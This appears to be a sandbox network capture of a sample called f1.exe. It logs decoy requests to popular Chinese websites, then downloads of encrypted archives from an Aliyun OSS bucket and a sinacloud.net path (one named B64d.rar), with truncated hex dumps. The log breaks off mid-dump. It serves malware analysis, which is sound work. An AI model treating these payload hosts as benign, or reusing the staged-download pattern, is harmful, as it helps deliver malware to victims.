Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49740	163.181.199.199	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.790194035 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.1688.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.714116096 CEST	466	IN	HTTP/1.1 302 Found Server: Tengine Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.1688.com/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49741	47.94.225.221	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.813093901 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jmw.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:30.496578932 CEST	367	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.26.0 Date: Sun, 04 Aug 2024 08:57:30 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://www.jmw.com.cn/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.26.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49742	163.181.131.210	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.938045025 CEST	223	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.eastmoney.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.570780039 CEST	545	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.eastmoney.com/ Via: ens-cache10.de7[,0] Timing-Allow-Origin: * EagleId: a3b5839e17227618494866788e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49744	113.219.142.35	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:29.279294968 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cdstm.cn Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:30.225490093 CEST	464	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Sun, 04 Aug 2024 08:57:30 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.cdstm.cn/ X-Cache-Status: MISS Strict-Transport-Security: max-age=63072000;includeSubdomains;preload Access-Control-Allow-Origin: * Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49746	138.113.147.185	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:29.286768913 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.cctv.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.919218063 CEST	525	IN	HTTP/1.1 302 Moved Temporarily Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: application/octet-stream Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://www.cctv.com/ X-Via: 1.0 PSdgflkfFRA2po75:8 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66af4279_PSdgflkfFRA2lp71_33961-10593 Set-Cookie: HMF_CI=22b08fdc818e356ab7eeb5bbff7dcba7091743582c632c01449c0bb8f5ec2d378215819351b5d981103f5a83ff6e915e84c5d2801743392f81efa98b20a6210ed9; Expires=Tue, 03-Sep-24 08:57:29 GMT; Path=/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49745	43.159.118.238	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:29.286989927 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.tencent.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.744895935 CEST	195	IN	HTTP/1.1 302 Found Location: https://www.tencent.com/ Content-Length: 0 Connection: keep-alive Server: EdgeOne_SS_OC Date: Sun, 04 Aug 2024 08:57:29 GMT EO-LOG-UUID: 7787410243870076748

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49747	47.254.187.186	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:29.320880890 CEST	261	OUT	GET /2024-08-04/16_54 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: guangzhoucs.oss-accelerate.aliyuncs.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:30.687503099 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: AliyunOSS Date: Sun, 04 Aug 2024 08:57:30 GMT Content-Type: application/octet-stream Content-Length: 1565 Connection: keep-alive x-oss-request-id: 66AF427A5BC3D20864152287 Content-Range: bytes 0-1564/1565 Accept-Ranges: bytes ETag: "6CB7E7DD5CFF3106138DBB96608DF232" Last-Modified: Sun, 04 Aug 2024 08:54:02 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 8728803757994850163 x-oss-storage-class: Standard Content-MD5: bLfn3Vz/MQYTjbuWYI3yMg== x-oss-server-time: 1 Data Raw: 50 4b 03 04 14 00 01 00 08 00 4f 0b 02 59 bf 9e fb 94 b3 05 00 00 74 13 00 00 04 00 00 00 63 6c 73 74 a8 40 b3 fc 1f 2a d9 31 4f 64 1f 26 25 e5 24 6e eb 28 fa 68 91 b1 16 a7 08 51 87 24 77 4b fb 31 53 f9 0e de d2 0f 3e d0 a1 45 c0 fb 7d c8 f9 28 c1 1f 66 36 4b 7a f8 f5 d4 39 95 eb f9 ff 9c af 64 98 8b 2d f2 a9 9d 82 5d d4 54 e5 ae 82 1f 57 5f 0f 32 6d e5 0c f6 78 20 d7 e0 32 85 a8 94 df 3d 74 79 99 db 19 e7 76 2a 2f b9 68 e4 d5 dd de 9f 6d e5 ad d2 86 ad 2c 38 9c 4a ca b7 5a 4d 70 20 15 1c 3e 9b e7 13 e9 97 fd 3a 08 a4 d9 96 67 e7 57 7e 08 73 fa 60 27 bf 0e 0c 4b 59 65 2d de 1a e0 2d c9 d3 fb aa 3c ae 3a 52 3e 27 0c e1 49 2f 0d 58 4e e5 07 95 58 76 56 27 be 59 d6 5f b9 2c 71 91 83 fa 31 45 71 a5 31 7d 51 c6 b5 da 54 9f 5e c5 c5 44 e6 08 1e de 7c ac 31 ef bf c7 0a 71 aa dd 52 60 2b ea 1a 03 bb 98 ac 8a 42 99 61 44 45 39 f6 b8 46 9d f8 b4 43 6e a9 a9 3e 2c fc f8 0c 8b 19 18 25 e7 b5 20 95 ce 2c 8b b2 fe 80 bd 9b 2e e0 77 6c c2 0c b4 4d c9 62 43 7d 1c 75 42 a5 2a 45 fd 49 72 5c 12 71 77 d8 57 6a 68 1e [TRUNCATED] Data Ascii: PKOYtclst@1Od&%$n(hQ$wK1S>E}(f6Kz9d-]TW_2mx 2=tyv/hm,8JZMp >:gW~s`'KYe--<:R>'I/XNXvV'Y_,q1Eq1}QT^D\|1qR`+BaDE9FCn>,% ,.wlMbC}uBEIr\qwWjh6o\@]KS)%HCjm>WG=SmQSX-f\|B8El+M+OxtM9-:HoSDq,nXR<_Syc>-C$LDmfSTA>;:p82k$2zL7dq)28rD'lZ00o)&ORy7+/E9+.AkKeX,Z{PMw4v_1:N@'0XmTZlU.9A{mzmH! dy58_,C}iIm?
Aug 4, 2024 10:57:30.687516928 CEST	853	IN	Data Raw: 2e ae d7 15 62 d3 fb f2 30 e3 30 aa 04 1a 23 1d e3 31 b4 4b 1d 88 34 9e d2 55 2b fe d7 ee 3f 08 dc d0 b0 56 9c 14 4a 9b 58 e0 2b 54 10 c3 89 62 67 c3 ba c3 ad 79 ea 50 5a d1 8a 5b 86 57 00 f4 d0 e4 f3 70 73 b3 01 1a b6 4a 8c e1 ec aa ac 7c 93 83 Data Ascii: .b00#1K4U+?VJX+TbgyPZ[WpsJ\|AATBz][*RaJ2[!SMg&~qtFXi>5yGMs\|19H(g5yN1^%# ud '~4Fvt4cB\|}e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49748	45.194.34.250	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:29.447185993 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jb51.net Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:30.019407034 CEST	260	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: /GE/CC/VALIDATOR?key=38b1b558e1bd3c303917a923241bb25f.43643f26b834a4d528c9ed1be2e87c2d.1722761849&url=http%3A%2F%2Fwww.jb51.net%2F Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49749	43.152.29.38	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:29.470935106 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.zhihu.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:30.109846115 CEST	274	IN	HTTP/1.1 302 Found Location: https://www.zhihu.com/ Content-Length: 0 X-NWS-LOG-UUID: 10631982997334965740 Connection: keep-alive Server: OverSea_E0 Date: Sun, 04 Aug 2024 08:57:30 GMT X-Cache-Lookup: Return Directly x-edge-timing: 0.001 x-cdn-provider: tencent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49750	43.132.80.77	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:29.536693096 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hupu.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:30.491137981 CEST	227	IN	HTTP/1.1 302 Found Location: https://www.hupu.com/ Content-Length: 0 X-NWS-LOG-UUID: 17826125791289956496 Connection: keep-alive Server: Lego Server Date: Sun, 04 Aug 2024 08:57:30 GMT X-Cache-Lookup: Return Directly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49751	218.68.136.35	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:29.630048037 CEST	225	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.autohome.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:30.689260006 CEST	368	IN	HTTP/1.1 302 Moved Temporarily Server: JSP3/2.0.14 Date: Sun, 04 Aug 2024 08:57:30 GMT Content-Type: text/html Content-Length: 144 Connection: keep-alive Location: https://www.autohome.com.cn/ X-Cache-Status: MISS Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 4a 53 50 33 2f 32 2e 30 2e 31 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>JSP3/2.0.14</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49755	27.221.16.179	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:32.112184048 CEST	232	OUT	GET /operate/24624 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:33.316416025 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Sun, 04 Aug 2024 08:57:34 GMT Content-Type: application/octet-stream Content-Length: 1185712 Connection: keep-alive X-RequestId: 2d0a7e77-2408-0416-5733-b4055d752c87 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Sun, 04 Aug 2024 08:50:51 GMT X-Filesize: 1185712 ETag: "d47c70c20b316354ab65167efbc3ae4a" x-amz-meta-crc32: 761A8347 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1185711/1185712 Data Raw: 50 4b 03 04 14 00 01 00 08 00 52 86 04 59 50 1c 22 6f 3e 17 12 00 c8 ac 12 00 08 00 00 00 42 36 34 64 2e 72 61 72 50 90 1f 62 61 55 5c ad 02 5d 84 bc c3 0a 51 cf b0 45 ae 94 f3 54 a3 d3 11 99 df 73 e5 49 e4 c3 4c fc 3c c4 37 ad b7 e8 15 4f 1d 17 88 32 c7 4b 2b 08 fb bb 80 ea a4 66 fd 82 00 9a a1 a6 cb 01 f3 80 06 a9 da b5 be bc a7 3f 59 24 2d 17 9a e0 09 d0 b6 20 da f8 92 cb 45 0f 08 c8 b8 19 44 53 28 ab 1d ab 66 27 15 67 b4 dc 46 b7 90 c4 77 49 4a 96 cc 2b ed d0 39 3d 44 3b 7c fb ba 96 52 e9 8e 65 50 0c d1 7a a2 01 ce af 07 24 f1 70 09 76 b8 fe 5a a1 87 75 78 43 47 13 13 26 f9 fe a2 49 bf 24 4c e3 fb 36 67 a9 3b f2 60 31 24 7b 9f cd c1 86 8c 04 9e 34 91 31 ac 5b 1e a5 15 5c 40 6c c0 07 db 23 6f 87 35 52 50 6e 0b f4 3b 55 04 23 25 97 2e ca a0 1c b3 ee b3 22 9d c7 26 75 ca 4d 20 3f fa 20 17 bb 16 93 d0 42 ea 8c 77 2f 38 92 f0 0b 55 1d 84 a4 9a 2f 00 da de 2b 32 b9 51 e2 c9 72 dc 18 98 97 61 70 91 a9 91 4a 1a 0a 97 9f 8a d1 bb 19 8b 18 cc 40 a1 7d 8b dd 45 07 85 31 a5 81 52 ef 6e cd 2e 3c 92 a9 60 38 [TRUNCATED] Data Ascii: PKRYP"o>B64d.rarPbaU\]QETsIL<7O2K+f?Y$- EDS(f'gFwIJ+9=D;\|RePz$pvZuxCG&I$L6g;`1${41[\@l#o5RPn;U#%."&uM ? Bw/8U/+2QrapJ@}E1Rn.<`8_s`&!r2vl)Z$ n<_?>\|y(O.~>Ng\+ISt\O;wJ^(GH!!j;i.UXC&y/c_\P~X&Qzb4Nw2.IX"&`>g 3p,{>56WS/6
Aug 4, 2024 10:57:33.316452980 CEST	153	IN	Data Raw: 87 0c 15 d9 36 06 41 a2 28 81 39 9f c8 b3 a4 35 45 7b 14 fb b6 ee d7 9d 99 05 74 80 79 ae 47 c8 f9 db 0a 16 99 5f fd a8 46 79 93 c9 99 aa ed 78 57 47 4f b9 67 f5 8c 8d 32 30 c0 42 e7 da b8 67 24 8e df 51 6c 44 e6 47 99 5c 70 4c a2 26 6e 22 d1 c2 Data Ascii: 6A(95E{tyG_FyxWGOg20Bg$QlDG\pL&n"Q:0LUG@au7r7c:^H@b>xh &-\J9
Aug 4, 2024 10:57:33.316463947 CEST	1236	IN	Data Raw: d7 60 b9 93 f6 16 56 f2 e0 88 c6 62 5e ac 7b ec 5a df c8 10 2d be 56 20 d4 ec 10 a9 71 8b 1d ae 8d a0 a5 75 8a 37 9c d3 b2 0b 37 25 8e 65 30 15 38 6d b8 a6 05 39 b7 b9 b8 24 2f 0d ea db 19 8e 81 4c 33 91 d3 72 6f ae 29 a2 3e 6d d6 3f 5c 7b 1b 8a Data Ascii: `Vb^{Z-V qu77%e08m9$/L3ro)>m?\{AC2"P8<NXj)p37(7zg-)qlffM\|sO,{"y1<~lcL5R7X=}{A%Q@ZSgl*n
Aug 4, 2024 10:57:33.316500902 CEST	1236	IN	Data Raw: fc 88 0f a8 c6 0e 60 d3 8c e7 28 ea e7 c7 b7 35 03 85 d2 c4 76 97 47 9b de 5e 83 79 3f 22 de 34 d3 ee 33 cc a5 8e c4 fc c6 a2 09 33 6a 54 27 b6 09 63 3f 47 0e 06 d6 38 4b fa b7 48 de 95 c9 78 f8 42 4f ec a6 6b 92 f9 cc b1 82 3c 96 ac 70 72 30 fc Data Ascii: `(5vG^y?"433jT'c?G8KHxBOk<pr0&yhcY7%0%zUw7kLcN)(]j7NvS(@$=jSq&=.:#qqbOwoYVrx{M$T\&1 8jR$'PVjjB(X{j=v"L
Aug 4, 2024 10:57:33.316514015 CEST	1236	IN	Data Raw: 44 34 57 d4 ea 8a 0e 99 cd 95 72 99 41 70 68 98 08 b4 17 d7 da 8f 58 5e 10 3b d5 65 77 cd ef 82 ce b5 5f ae 33 b6 c9 f1 4b a0 b7 18 7c 83 7a a8 99 6f 4f 83 84 eb 72 c2 09 56 54 7a 3f 71 63 f1 21 54 d1 9b fd 7c a5 3f 28 a1 8d 39 0a 15 35 42 9b 4e Data Ascii: D4WrAphX^;ew_3K\|zoOrVTz?qc!T\|?(95BNg!?6M&=ycZ5m%&g(Pl\ngb7Gd8@d$bDmlt2TVuwi2uSG!*d2D(qa(gGZ?
Aug 4, 2024 10:57:33.316632032 CEST	1236	IN	Data Raw: 25 7e 7d 1e 19 e5 dc ef d3 fb bd c6 82 8f 79 61 68 d7 bb 16 54 fd 35 18 82 62 83 23 1e 46 86 cb 66 cf d0 fa 5e 84 f8 cc ac 3e cc 24 6c 55 83 1b 89 8a 51 aa d1 7a 23 1d ba ac 69 36 ce b5 d4 ce c4 cb a2 09 e4 a5 8f 1a 93 c7 c1 b4 c6 69 cb a4 e6 ae Data Ascii: %~}yahT5b#Ff^>$lUQz#i6i&DYi.IS!ljw2gbC,nS}*3?Iy@1BJYvg0;${#n,%.&X!yB0>AB<4@Z4`f
Aug 4, 2024 10:57:33.316646099 CEST	1236	IN	Data Raw: 68 86 d0 8e c8 52 ea 82 dd 42 d1 4b e1 bf 18 36 28 bc 86 8c 38 45 65 8d c2 dd ff 85 46 81 c0 dd 30 dc ae 75 b3 b7 61 e1 69 d9 2e 20 ca f7 9c cc d2 4d a5 c9 2d bf 4c 96 9a 0e 95 4b 32 f0 16 f0 b8 4e 00 dd 86 7c 1c d9 87 68 ba 5f e3 0b d7 65 20 f8 Data Ascii: hRBK6(8EeF0uai. M-LK2N\|h_e 'wqPG({}qLg}'76Y5+UovglzpSG{{zL!@P?:U^v3\ WS(}-F.&Z.lJeg^5+%usIJMSya
Aug 4, 2024 10:57:33.316658020 CEST	860	IN	Data Raw: 8e eb 8e 43 0b 57 b0 a7 ed 77 17 d2 b5 c1 a3 cc d3 cf 3d c4 7e 34 9c 0c 1c 8c be ac 0a 20 4c ff 2d 39 ed 45 25 b9 bb ab e1 a2 a4 c2 45 4a 0f 23 e7 83 e6 6e ba 04 7b eb 87 83 a3 51 48 c1 74 11 07 f3 ef 7f fe 02 a3 d2 4c 03 71 f5 39 bd a8 95 0f 8a Data Ascii: CWw=~4 L-9E%EJ#n{QHtLq9Fq,>8cIuXY03/{Ka)dVemK_:TnODLB+NLMXs1D"g3}Q6FSL2DNq[Und~<8I')_L9
Aug 4, 2024 10:57:33.316836119 CEST	1236	IN	Data Raw: c1 8d 85 80 a6 11 b1 3f 27 cb 32 de 8e 51 09 9d b7 01 44 07 51 17 ec d7 87 79 d5 55 04 18 64 b2 86 8d b7 4b 34 95 60 8c bf dd 94 2b b3 fb 20 e0 2b b4 c6 cb 42 a8 4f 71 b7 13 49 c3 69 b1 a4 8b 30 9f 9f 48 38 a0 e5 3b b7 3f be 2e c8 35 7d 0a a5 01 Data Ascii: ?'2QDQyUdK4`+ +BOqIi0H8;?.5}"?Pfe*&DNVY;.gC_"Ol\!*DFB}jw <<dw\6I`?CXKMojO0DV"Bu
Aug 4, 2024 10:57:33.316848993 CEST	1236	IN	Data Raw: fb e0 cd b8 07 16 c7 7f 36 70 2a a7 4a c2 0f 61 30 d9 5c 8b fb 94 92 9c 12 3f 74 5c 21 f8 a6 a2 bf 67 ac 1d 3c 77 0a 05 93 0b d5 02 9f a5 de df 81 70 4c b8 d3 a2 a8 93 0d 5b 40 d3 f4 4d 2a 1c b7 1c df 88 03 fd a2 96 e8 f0 5a ba b4 a3 fe 2c be 3f Data Ascii: 6pJa0\?t\!g<wpL[@MZ,?ws#7[P1Sru-iVJnYF!i4RahNW>I@>5pP.!^9N@/{1!=<]G(0YC7Bq^>+=&Je#7r>
Aug 4, 2024 10:57:33.328071117 CEST	1236	IN	Data Raw: ed b4 9e e5 da 5f 39 f8 19 64 c3 cc cd 94 36 1f 49 b3 85 02 a9 26 c0 ef aa 44 fd fa 3e 7c 4d a7 61 eb e8 ab 04 92 42 be 33 d7 dd 10 ef 87 49 68 58 52 d2 fc 95 7a 3f ac c2 22 79 02 01 1c c5 2b cf a1 c9 f6 dc dc 18 51 86 1a d6 6d 7e 56 ad a1 bd 4b Data Ascii: _9d6I&D>\|MaB3IhXRz?"y+Qm~VK^z<eC X&;E=<~_JbYw\_`^\*=&hEDAkzjGKo5R3kS#c;n-4\|iX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49756	27.221.16.149	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:42.328619003 CEST	232	OUT	GET /operate/24624 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:43.499996901 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Sun, 04 Aug 2024 08:57:40 GMT Content-Type: application/octet-stream Content-Length: 1185712 Connection: keep-alive X-RequestId: 2d3fdf7e-2408-0416-5743-b4055d752c57 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Sun, 04 Aug 2024 08:50:51 GMT X-Filesize: 1185712 ETag: "d47c70c20b316354ab65167efbc3ae4a" x-amz-meta-crc32: 761A8347 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-1185711/1185712 Data Raw: 50 4b 03 04 14 00 01 00 08 00 52 86 04 59 50 1c 22 6f 3e 17 12 00 c8 ac 12 00 08 00 00 00 42 36 34 64 2e 72 61 72 50 90 1f 62 61 55 5c ad 02 5d 84 bc c3 0a 51 cf b0 45 ae 94 f3 54 a3 d3 11 99 df 73 e5 49 e4 c3 4c fc 3c c4 37 ad b7 e8 15 4f 1d 17 88 32 c7 4b 2b 08 fb 